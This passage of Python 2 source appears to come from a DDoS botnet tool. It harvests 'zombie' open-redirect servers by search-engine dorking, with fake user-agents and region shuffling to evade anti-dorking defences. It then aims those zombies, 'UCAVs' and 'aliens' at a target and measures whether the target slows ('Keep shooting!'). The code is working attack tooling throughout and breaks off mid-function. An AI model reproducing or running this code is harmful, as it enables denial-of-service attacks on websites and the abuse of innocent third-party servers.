  1988. else:
  1989. pass
  1990. self.update_ucavs(ucavs_ready)
  1991. os.remove('drones.txt') # remove drones .txt file
  1992. rpcs_ready = []
  1993. f = open('reflectors.txt')
  1994. reflectors = f.readlines()
  1995. f.close()
  1996. fz = open(self.rpcs_file)
  1997. rpcs = fz.readlines()
  1998. fz.close()
  1999. for reflector in reflectors:
  2000. reflector = reflector.replace('\n','')
  2001. if reflector not in rpcs:
  2002. rpcs_ready.append(reflector)
  2003. else:
  2004. pass
  2005. self.update_rpcs(rpcs_ready)
  2006. os.remove('reflectors.txt') # remove reflectors .txt file
  2007. print "\n[Info] [AI] Botnet updated! -> ;-)"
  2008. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2009. if not self.options.forceyes: # ask for update everything
  2010. print '-'*25 + "\n"
  2011. update_reply = raw_input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")
  2012. else:
  2013. update_reply = "Y"
  2014. if update_reply == "n" or update_reply == "N":
  2015. print "\n[AI] "+self.exit_msg+"\n"
  2016. return
  2017. else:
  2018. try:
  2019. update_gui = self.update_gui_data() # update GUI data
  2020. except:
  2021. print '-'*25 +"\n"
  2022. print "[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]"
  2023. print '-'*25
  2024. print "\n[AI] "+self.exit_msg+"\n"
  2025. return
  2026. def create_web_interface(self):
  2027. # launch webserver+gui
  2028. from webgui import ClientThread
  2029. import webbrowser
  2030. host = '0.0.0.0'
  2031. port = 9999
  2032. try:
  2033. webbrowser.open('http://127.0.0.1:9999', new=1)
  2034. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2035. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  2036. tcpsock.bind((host,port))
  2037. while True:
  2038. tcpsock.listen(4)
  2039. #print "Listening for incoming connections on http://%s:%d" % (host,port)
  2040. (clientsock, (ip, port)) = tcpsock.accept()
  2041. newthread = ClientThread(ip, port, clientsock)
  2042. newthread.start()
  2043. except (KeyboardInterrupt, SystemExit):
  2044. sys.exit()
  2045. def extract_dorks(self):
  2046. # extract dorks from file (ex: 'dorks.txt')
  2047. try:
  2048. f = open(self.dorks_file)
  2049. dorks = f.readlines()
  2050. dorks = [ dork.replace('\n','') for dork in dorks ]
  2051. f.close()
  2052. if not dorks:
  2053. if not options.autosearch:
  2054. print "[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n"
  2055. return
  2056. else:
  2057. return dorks
  2058. except:
  2059. if not options.autosearch:
  2060. if os.path.exists(self.dorks_file) == True:
  2061. print "[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n"
  2062. return #sys.exit(2)
  2063. else:
  2064. print "[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n"
  2065. return #sys.exit(2)
  2066. else:
  2067. return
  2068. def search_zombies(self, dork, zombies_found):
  2069. # crawlering on search engine results to extract zombies
  2070. options = self.options
  2071. zombies = []
  2072. if not options.engine: # default search engine
  2073. options.engine = 'startpage'
  2074. if options.engine == 'bing': # using bing [28/02/2019: OK!]
  2075. url = 'https://www.bing.com/search?'
  2076. if options.search: # search from query
  2077. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2078. if options.dorks or options.autosearch: # search from a dork
  2079. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2080. start = 0 # set index number of first entry
  2081. query_string = { 'q':q, 'first':start }
  2082. data = urllib.urlencode(query_string)
  2083. url = url + data
  2084. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2085. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2086. if options.verbose:
  2087. print("Query used: " + url + "\n")
  2088. try:
  2089. if options.proxy: # set proxy
  2090. self.proxy_transport(options.proxy)
  2091. req = urllib2.Request(url, None, headers)
  2092. req_reply = urllib2.urlopen(req, context=self.ctx).read()
  2093. except:
  2094. print('[Error] [AI] Unable to connect to: bing\n')
  2095. if options.allengines or options.autosearch:
  2096. return
  2097. if not options.dorks or not options.autosearch:
  2098. if not self.options.forceyes:
  2099. update_reply = raw_input("[AI] Do you want to try a different search engine? (Y/n)")
  2100. else:
  2101. update_reply = "Y"
  2102. if update_reply == "n" or update_reply == "N":
  2103. return #sys.exit(2)
  2104. print "\nSearch engines available:"
  2105. print '-'*25
  2106. for e in self.search_engines:
  2107. print "+ "+e
  2108. print '-'*25
  2109. print "\nEx: ufonet -s 'proxy.php?url=' --se 'startpage'"
  2110. return #sys.exit(2)
  2111. else:
  2112. req_reply = ''
  2113. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  2114. pattern = re.compile(regex)
  2115. url_links = re.findall(pattern, req_reply)
  2116. elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
  2117. location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
  2118. #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  2119. location = str(random.choice(location).strip()) # shuffle location
  2120. if location == "jp": # [28/02/2019]
  2121. url = 'https://search.yahoo.co.jp/search?'
  2122. else:
  2123. url = 'https://'+location+'.search.yahoo.com/search?'
  2124. if options.search: # search from query
  2125. if location == "jp":
  2126. q = '"' + str(options.search) + '"' # set query to search literally on results
  2127. else:
  2128. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2129. if options.dorks or options.autosearch: # search from a dork
  2130. if location == "jp":
  2131. q = '"' + str(dork) + '"' # set query to search literally on results
  2132. else:
  2133. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2134. start = 0 # set index number of first entry
  2135. query_string = { 'p':q, 'b':start }
  2136. data = urllib.urlencode(query_string)
  2137. url = url + data
  2138. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2139. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2140. if options.verbose:
  2141. print("Query used: " + url + "\n")
  2142. try:
  2143. if options.proxy: # set proxy
  2144. self.proxy_transport(options.proxy)
  2145. req = urllib2.Request(url, None, headers)
  2146. req_reply = urllib2.urlopen(req, context=self.ctx).read()
  2147. except:
  2148. print('[Error] [AI] Unable to connect to: yahoo\n')
  2149. if options.allengines or options.autosearch:
  2150. return
  2151. if not options.dorks or not options.autosearch:
  2152. if not self.options.forceyes:
  2153. update_reply = raw_input("[AI] Do you want to try a different search engine? (Y/n)")
  2154. else:
  2155. update_reply = "Y"
  2156. if update_reply == "n" or update_reply == "N":
  2157. return #sys.exit(2)
  2158. print "\nSearch engines available:"
  2159. print '-'*25
  2160. for e in self.search_engines:
  2161. print "+ "+e
  2162. print '-'*25
  2163. print "\nEx: ufonet -s 'proxy.php?url=' --se 'bing'"
  2164. return #sys.exit(2)
  2165. else:
  2166. req_reply = ''
  2167. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  2168. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  2169. pattern = re.compile(regex)
  2170. url_links = re.findall(pattern, req_reply)
  2171. elif options.engine == 'startpage': # startpage [28/02/2019: OK!]
  2172. url = 'https://www.startpage.com/do/asearch'
  2173. if options.search: # search from query
  2174. q = 'url:"' + str(options.search) + '"' # set query to search literally on results
  2175. if options.dorks or options.autosearch: # search from a dork
  2176. q = 'url:"' + str(dork) + '"' # set query from a dork to search literally on results
  2177. query_string = { 'cmd':'process_search', 'query':q }
  2178. data = urllib.urlencode(query_string)
  2179. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2180. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2181. if options.verbose:
  2182. print("Query used: " + url + " (POST: "+ data + ")\n")
  2183. try:
  2184. if options.proxy: # set proxy
  2185. self.proxy_transport(options.proxy)
  2186. req = urllib2.Request(url, data, headers) # HTTP POST request
  2187. req_reply = urllib2.urlopen(req, context=self.ctx).read()
  2188. except:
  2189. print('[Error] [AI] Unable to connect to: startpage\n')
  2190. if options.allengines or options.autosearch:
  2191. return
  2192. if not options.dorks or not options.autosearch:
  2193. if not self.options.forceyes:
  2194. update_reply = raw_input("[AI] Do you want to try a different search engine? (Y/n)")
  2195. else:
  2196. update_reply = "Y"
  2197. if update_reply == "n" or update_reply == "N":
  2198. return #sys.exit(2)
  2199. print "\nSearch engines available:"
  2200. print '-'*25
  2201. for e in self.search_engines:
  2202. print "+ "+e
  2203. print '-'*25
  2204. print "\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'"
  2205. return #sys.exit(2)
  2206. else:
  2207. req_reply = ''
  2208. regex = 'href="(.+?)" target="_blank" rel' # regex magics [08/04/2017]
  2209. pattern = re.compile(regex)
  2210. url_links = re.findall(pattern, req_reply)
  2211. elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!]
  2212. url = 'https://duckduckgo.com/html/'
  2213. if options.search: # search from query
  2214. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2215. if options.dorks or options.autosearch: # search from a dork
  2216. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2217. query_string = { 'q':q }
  2218. data = urllib.urlencode(query_string)
  2219. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2220. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2221. if options.verbose:
  2222. print("Query used: " + url + " (POST: "+ data + ")\n")
  2223. try:
  2224. if options.proxy: # set proxy
  2225. self.proxy_transport(options.proxy)
  2226. req = urllib2.Request(url, data, headers) # HTTP POST request
  2227. req_reply = urllib2.urlopen(req, context=self.ctx).read()
  2228. except:
  2229. print('[Error] [AI] Unable to connect to: duck\n')
  2230. if options.allengines or options.autosearch:
  2231. return
  2232. if not options.dorks or not options.autosearch:
  2233. if not self.options.forceyes:
  2234. update_reply = raw_input("[AI] Do you want to try a different search engine? (Y/n)")
  2235. else:
  2236. update_reply = "Y"
  2237. if update_reply == "n" or update_reply == "N":
  2238. return #sys.exit(2)
  2239. print "\nSearch engines available:"
  2240. print '-'*25
  2241. for e in self.search_engines:
  2242. print "+ "+e
  2243. print '-'*25
  2244. print "\nEx: ufonet -s 'proxy.php?url=' --se 'startpage'"
  2245. return #sys.exit(2)
  2246. else:
  2247. req_reply = ''
  2248. regex = 'snippet" href="(.+?)">' # regex magics
  2249. pattern = re.compile(regex)
  2250. url_links = re.findall(pattern, req_reply)
  2251. else: # no valid search engine
  2252. print('[Error] [AI] This search engine is not supported!\n')
  2253. if not options.dorks or options.autosearch:
  2254. if not self.options.forceyes:
  2255. update_reply = raw_input("[AI] Do you want to try a different search engine? (Y/n)")
  2256. else:
  2257. update_reply = "Y"
  2258. if update_reply == "n" or update_reply == "N":
  2259. return #sys.exit(2)
  2260. print "\nSearch engines available:"
  2261. print '-'*25
  2262. for e in self.search_engines:
  2263. print "+ "+e
  2264. print '-'*25
  2265. print "\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'"
  2266. return #sys.exit(2)
  2267. else:
  2268. req_reply = ''
  2269. if options.num_results: # set number of results to search
  2270. try:
  2271. num = int(options.num_results)
  2272. except:
  2273. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  2274. num = 10
  2275. else:
  2276. num = 10
  2277. total_results = 1
  2278. for url in url_links: # general parse on urls
  2279. if int(num) < int(total_results):
  2280. break
  2281. if options.engine == "bing":
  2282. if " h=" in url: # regex magics [18/08/2016]
  2283. url = url.rsplit('" h=',1)[0]
  2284. if options.engine == "yahoo":
  2285. if 'RU=' in url: # regex magics [18/08/2016]
  2286. url = url.rsplit('RU=',1)[1]
  2287. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  2288. url = url.rsplit('UTF-8&u=',1)[1]
  2289. total_results = total_results + 1 # results counter
  2290. url_link = url.strip('?q=') # parse url_links to retrieve only a url
  2291. url_link = urllib.unquote(url_link).decode('utf8') # unquote encoding
  2292. if options.search:
  2293. sep = str(options.search)
  2294. if options.dorks or options.autosearch:
  2295. sep = str(dork)
  2296. url_link = url_link.rsplit(sep, 1)[0] + sep
  2297. if 'href="' in url_link:
  2298. url_link = url_link.rsplit('href="', 1)[1]
  2299. if "instreamset" in url_link: # invalid zombie
  2300. url_link = "" # discarded
  2301. if '" ' in url_link:
  2302. url_link = url_link.rsplit('" ', 1)[1]
  2303. if options.engine in url_link:
  2304. url_link = "" # discarded
  2305. if 'http' not in url_link:
  2306. url_link = "" # discarded
  2307. else:
  2308. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link is not "": # AI mode (parsing search engines mixed pool and stored army)
  2309. print('+Victim found: ' + url_link)
  2310. print '-'*12
  2311. zombies.append(url_link)
  2312. else:
  2313. pass
  2314. if len(zombies) == 0: # print dorking results
  2315. print "[Info] [AI] NOT any NEW victim(s) found for this query!"
  2316. if not options.dorks:
  2317. if not options.autosearch:
  2318. if not self.options.forceyes:
  2319. return #sys.exit(2)
  2320. print "\n" + '-'*44 + '\n'
  2321. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  2322. return zombies
  2323. def check_nat(self):
  2324. # check for NAT configuration
  2325. options = self.options
  2326. tor_reply = urllib2.urlopen(self.check_tor_url).read() # check if TOR is enabled
  2327. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  2328. check_ip_service = None
  2329. if not tor_reply or 'Congratulations' not in tor_reply:
  2330. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  2331. else:
  2332. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  2333. self.nat_error_flag = "ON"
  2334. return #sys.exit(2)
  2335. try:
  2336. data = str(urlopen(self.check_ip_service1).read()) # check for public ip
  2337. self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  2338. check_ip_service = self.check_ip_service1
  2339. except:
  2340. try: # another check for public ip
  2341. data = str(urlopen(self.check_ip_service2).read())
  2342. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  2343. check_ip_service = self.check_ip_service2
  2344. except:
  2345. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  2346. self.nat_error_flag = "ON"
  2347. return
  2348. t = urlparse(check_ip_service)
  2349. name_service = t.netloc
  2350. print " + Public: " + self.pub_ip + " | "+name_service+"\n"
  2351. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  2352. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  2353. self.local_ip = s.getsockname()[0]
  2354. print " + Local: " + self.local_ip + "\n"
  2355. print '='*22 + '\n'
  2356. def extract_ucavs(self):
  2357. # extract ucavs from file
  2358. options = self.options
  2359. try:
  2360. f = open(self.ucavs_file)
  2361. ucavs = f.readlines()
  2362. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  2363. f.close()
  2364. if not ucavs:
  2365. print "[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]"
  2366. self.options.disableucavs = True
  2367. return
  2368. else:
  2369. return ucavs
  2370. except:
  2371. if os.path.exists(self.ucavs_file) == True:
  2372. print "[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]"
  2373. return #sys.exit(2)
  2374. else:
  2375. print "[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]"
  2376. return #sys.exit(2)
  2377. def discarding_ucavs(self, ucav, ucavs):
  2378. if ucav in self.discard_ucavs:
  2379. ucavs.remove(ucav)
  2380. if self.options.verbose:
  2381. print("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]")
  2382. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  2383. return ucavs
  2384. def send_ucavs(self, ucavs):
  2385. # extract external status checkers, perform a request and check results
  2386. time.sleep(5) # aiming (multi-threading flow time compensation)
  2387. if not self.options.disablepurge:
  2388. if not ucavs: # return when not any working
  2389. self.options.disableucavs = True
  2390. return
  2391. options = self.options
  2392. target = self.options.target
  2393. shuffle(ucavs) # shuffle ucavs order, each round :-)
  2394. if not self.options.disablepurge:
  2395. for ucav in ucavs:
  2396. if not ucav.startswith('http'): # discarded inmediately
  2397. self.discard_ucavs.append(ucav)
  2398. self.num_discard_ucavs = self.num_discard_ucavs + 1
  2399. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  2400. if not self.options.disablepurge:
  2401. if not ucavs: # return when not any working
  2402. self.options.disableucavs = True
  2403. return
  2404. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  2405. for ucav in ucavs:
  2406. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2407. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2408. if target.startswith("http://"): # parse target for some checkers
  2409. target = target.replace('http://','')
  2410. elif target.startswith("https://"):
  2411. target = target.replace('https://','')
  2412. url = ucav + target
  2413. t = urlparse(ucav)
  2414. name_ucav = t.netloc
  2415. if name_ucav == "":
  2416. name_ucav = ucav
  2417. if options.verbose:
  2418. print("[Info] [UCAVs] Sniping: " + url)
  2419. try:
  2420. if options.proxy: # set proxy
  2421. self.proxy_transport(options.proxy)
  2422. if options.timeout: # set timeout
  2423. ucav_timeout = options.timeout
  2424. else:
  2425. ucav_timeout = 1
  2426. if ucav_timeout < 1:
  2427. ucav_timeout = 1
  2428. req = urllib2.Request(url, None, headers)
  2429. target_reply = urllib2.urlopen(req, context=self.ctx, timeout=ucav_timeout).read()
  2430. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  2431. except:
  2432. print "[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)"
  2433. if not self.options.disablepurge:
  2434. self.discard_ucavs.append(ucav)
  2435. self.num_discard_ucavs = self.num_discard_ucavs + 1
  2436. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  2437. target_reply = ""
  2438. if target_reply == "": # check for target's status resolved by [UCAVs]
  2439. pass
  2440. else:
  2441. if not "is down" or not "looks down" in target_reply: # parse external service for reply
  2442. print "[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]"
  2443. self.num_is_up = self.num_is_up + 1
  2444. else:
  2445. print "[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]"
  2446. self.num_is_down = self.num_is_down + 1
  2447. if self.options.verbose:
  2448. print "[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning..."
  2449. self.extra_zombies_lock = False # [ARMY] have finished
  2450. def extract_median(self, num_list):
  2451. # extract median form a list of numbers
  2452. num_list.sort()
  2453. z = len(num_list)
  2454. if not z%2:
  2455. return (float(num_list[(z/2)-1])+float(num_list[z/2]))/2
  2456. else:
  2457. return float(num_list[z/2])
  2458. def check_is_loading(self, target):
  2459. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  2460. self.start = None
  2461. self.stop = None
  2462. print '\n---------'
  2463. print "\n[Info] [AI] Scanning target to check for levels on defensive shields...\n"
  2464. if target.endswith(""):
  2465. target.replace("", "/")
  2466. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2467. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2468. try:
  2469. req = urllib2.Request(target, None, headers)
  2470. if self.options.proxy: # set proxy
  2471. self.proxy_transport(self.options.proxy)
  2472. if self.options.timeout: # set timeout
  2473. try:
  2474. timeout = int(self.options.timeout)
  2475. except:
  2476. timeout = 1
  2477. else:
  2478. timeout = 1
  2479. if timeout < 1:
  2480. timeout = 1
  2481. self.start = time.time()
  2482. target_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read()
  2483. header = urllib2.urlopen(req, context=self.ctx).info()
  2484. self.stop = time.time()
  2485. except:
  2486. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  2487. return
  2488. try:
  2489. s, size_name = self.convert_size(len(target_reply))
  2490. self.loadcheck_size_list.append(s) # add record to size list
  2491. size = '%s %s' % (s,size_name)
  2492. except:
  2493. size = "Error!"
  2494. try:
  2495. time_required = self.stop - self.start
  2496. load = self.convert_time(time_required)
  2497. self.loadcheck_load_list.append(load) # add record to load list
  2498. except:
  2499. load = "Error!"
  2500. self.loadcheck_counter = self.loadcheck_counter + 1
  2501. print ' -Total tests:', self.loadcheck_counter, "\n"
  2502. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  2503. lsm = self.extract_median(self.loadcheck_size_list)
  2504. if lsm is not None:
  2505. self.loadcheck_size_median = str(lsm) + " " + size_name
  2506. else:
  2507. self.loadcheck_size_median = None
  2508. llm = self.extract_median(self.loadcheck_load_list)
  2509. if llm is not None:
  2510. self.loadcheck_load_median = str(llm) + " seconds"
  2511. else:
  2512. self.loadcheck_load_median = None
  2513. if self.loadcheck_counter == 2: # first round
  2514. print ' -Bytes in (first round) :', self.loadcheck_first_size
  2515. print ' -Bytes in (this round) :', size
  2516. if self.loadcheck_size_median is not None:
  2517. print ' -Bytes in (median) :', self.loadcheck_size_median
  2518. print ' ----'
  2519. print ' -Load time (first round) :', self.loadcheck_first_load, "seconds"
  2520. print ' -Load time (this round) :', load, "seconds"
  2521. if self.loadcheck_load_median is not None:
  2522. print ' -Load time (median) :', self.loadcheck_load_median, "\n"
  2523. else:
  2524. print "\n"
  2525. self.loadcheck_size_max = None
  2526. self.loadcheck_size_min = None
  2527. self.loadcheck_load_max = None
  2528. self.loadcheck_load_min = None
  2529. elif self.loadcheck_counter > 2: # rest of rounds
  2530. lsmax = max(self.loadcheck_size_list)
  2531. if lsmax is not None:
  2532. self.loadcheck_size_max = str(lsmax) + " " + size_name
  2533. else:
  2534. self.loadcheck_size_max = None
  2535. lsmin = min(self.loadcheck_size_list)
  2536. if lsmin is not None:
  2537. self.loadcheck_size_min = str(lsmin) + " " + size_name
  2538. else:
  2539. self.loadcheck_size_min = None
  2540. llmax = max(self.loadcheck_load_list)
  2541. if llmax is not None:
  2542. self.loadcheck_load_max = str(llmax) + " seconds"
  2543. else:
  2544. self.loadcheck_load_max = None
  2545. llmin = min(self.loadcheck_load_list)
  2546. if llmin is not None:
  2547. self.loadcheck_load_min = str(llmin) + " seconds"
  2548. else:
  2549. self.loadcheck_load_min = None
  2550. print ' -Bytes in (first round) :', self.loadcheck_first_size
  2551. print ' -Bytes in (previous round) :', self.loadcheck_prev_size
  2552. print ' -Bytes in (this round) :', size
  2553. if self.loadcheck_size_max is not None:
  2554. print ' -Bytes in (max) :', self.loadcheck_size_max
  2555. if self.loadcheck_size_min is not None:
  2556. print ' -Bytes in (min) :', self.loadcheck_size_min
  2557. if self.loadcheck_size_median is not None:
  2558. print ' -Bytes in (median) :', self.loadcheck_size_median
  2559. print ' ----'
  2560. print ' -Load time (first round) :', self.loadcheck_first_load, "seconds"
  2561. print ' -Load time (previous round):', self.loadcheck_prev_load, "seconds"
  2562. print ' -Load time (this round) :', load, "seconds"
  2563. if self.loadcheck_load_max is not None:
  2564. print ' -Load time (max) :', self.loadcheck_load_max
  2565. if self.loadcheck_load_min is not None:
  2566. print ' -Load time (min) :', self.loadcheck_load_min
  2567. if self.loadcheck_load_median is not None:
  2568. print ' -Load time (median) :', self.loadcheck_load_median, "\n"
  2569. else:
  2570. print "\n"
  2571. if self.loadcheck_prev_load < load: # target is loading more slowly
  2572. print "[Info] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n"
  2573. elif self.loadcheck_prev_load == load: # inmutable target
  2574. print "[Info] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n"
  2575. elif self.loadcheck_prev_load > load: # is target defending?
  2576. print "[Info] [Scanner] Target is loading this round faster than the previous one! -> [o_0]\n"
  2577. else:
  2578. print ' -Bytes in (this round) :', size
  2579. print ' -Load time (this round):', load, "seconds\n"
  2580. self.loadcheck_first_size = size
  2581. self.loadcheck_first_load = load
  2582. self.loadcheck_size_median = None
  2583. self.loadcheck_load_median = None
  2584. self.loadcheck_size_max = None
  2585. self.loadcheck_size_min = None
  2586. self.loadcheck_load_max = None
  2587. self.loadcheck_load_min = None
  2588. self.loadcheck_prev_size = size # record previous size
  2589. self.loadcheck_prev_load = load # record previous load
  2590. def convert_size(self, size):
  2591. if (size == 0):
  2592. return '0 B'
  2593. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  2594. i = int(math.floor(math.log(size,1024)))
  2595. p = math.pow(1024,i)
  2596. s = round(size/p,2)
  2597. return s, size_name[i]
  2598. def convert_time(self, time):
  2599. return '%.2f' % time
  2600. def discarding_zombies(self, zombie, zombies):
  2601. if zombie in self.discardzombies:
  2602. zombies.remove(zombie)
  2603. if self.options.verbose:
  2604. print("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]")
  2605. return zombies
  2606. def send_zombies(self, zombies):
  2607. # send Open Redirect zombies
  2608. time.sleep(1) # aiming (multi-threading flow time compensation)
  2609. if not self.options.disablepurge:
  2610. if not zombies:
  2611. self.empty_zombies = True
  2612. return
  2613. if self.options.verbose:
  2614. print "[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons..."
  2615. options = self.options
  2616. target = self.options.target
  2617. shuffle(zombies) # shuffle zombies order, each round :-)
  2618. if not self.options.disablepurge:
  2619. for zombie in zombies: # check if zombie is failing for autobalance army
  2620. if not zombie.startswith('http'): # discarded inmediately
  2621. self.discardzombies.append(zombie)
  2622. self.num_discard_zombies = self.num_discard_zombies + 1
  2623. zombies = self.discarding_zombies(zombie, zombies)
  2624. if not self.options.disablepurge:
  2625. if not zombies: # return when not any working
  2626. self.empty_zombies = True
  2627. return
  2628. for zombie in zombies:
  2629. t = urlparse(zombie)
  2630. name_zombie = t.netloc
  2631. if name_zombie == "":
  2632. name_zombie = zombie
  2633. if not self.options.attackme:
  2634. print "[Info] [Zombies] Attacking from: " + name_zombie
  2635. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  2636. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  2637. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  2638. self.options.target = target
  2639. print "[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port
  2640. print "[Info] [Zombies] Payload: " + target
  2641. print '='*55, "\n"
  2642. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2643. if not options.target.startswith('http'):
  2644. if options.forcessl:
  2645. options.target = "https://" + options.target
  2646. else:
  2647. options.target = "http://" + options.target
  2648. self.attack_mode = True
  2649. try:
  2650. if options.verbose:
  2651. print "[Info] [Zombies] Sniping: " + options.target
  2652. self.connect_zombies(zombie)
  2653. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  2654. self.db_flash = self.db_flash + 1
  2655. stress = self.stressing(target, zombie)
  2656. except Exception:
  2657. print "[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)"
  2658. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  2659. if not self.options.disablepurge:
  2660. self.discardzombies.append(zombie)
  2661. self.num_discard_zombies = self.num_discard_zombies + 1
  2662. if self.options.verbose:
  2663. print "[Info] [AI] [Zombies] "+str(name_zombie)+" is returning..."
  2664. self.attack_mode = False
  2665. def discarding_aliens(self, alien, aliens):
  2666. if alien in self.discard_aliens:
  2667. aliens.remove(alien)
  2668. if self.options.verbose:
  2669. print("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]")
  2670. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  2671. return aliens
  2672. def send_aliens(self, aliens):
  2673. # extract external web abuse services urls (POST) and perform requests against target
  2674. time.sleep(2) # aiming (multi-threading flow time compensation)
  2675. if not self.options.disablepurge:
  2676. if not aliens: # return when not any working
  2677. self.options.disablealiens = True
  2678. return
  2679. target = self.options.target
  2680. options = self.options
  2681. shuffle(aliens) # shuffle aliens
  2682. if not self.options.disablepurge:
  2683. for alien in aliens:
  2684. if not alien.startswith('http'): # discarded inmediately
  2685. self.discard_aliens.append(alien)
  2686. self.num_discard_aliens = self.num_discard_aliens + 1
  2687. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  2688. if not self.options.disablepurge:
  2689. if not aliens: # return when not any working
  2690. self.options.disablealiens = True
  2691. return
  2692. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  2693. for alien in aliens:
  2694. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  2695. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  2696. pattern_alien = re.compile(regex_alien)
  2697. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  2698. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  2699. pattern_param = re.compile(regex_param)
  2700. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  2701. for u in alien_url:
  2702. url = u # ex: POST -> path/submit.php
  2703. t = urlparse(url)
  2704. name_alien = t.netloc
  2705. if name_alien == "":
  2706. name_alien = alien
  2707. print "[Info] [Aliens] Attacking from: " + name_alien
  2708. for p in param:
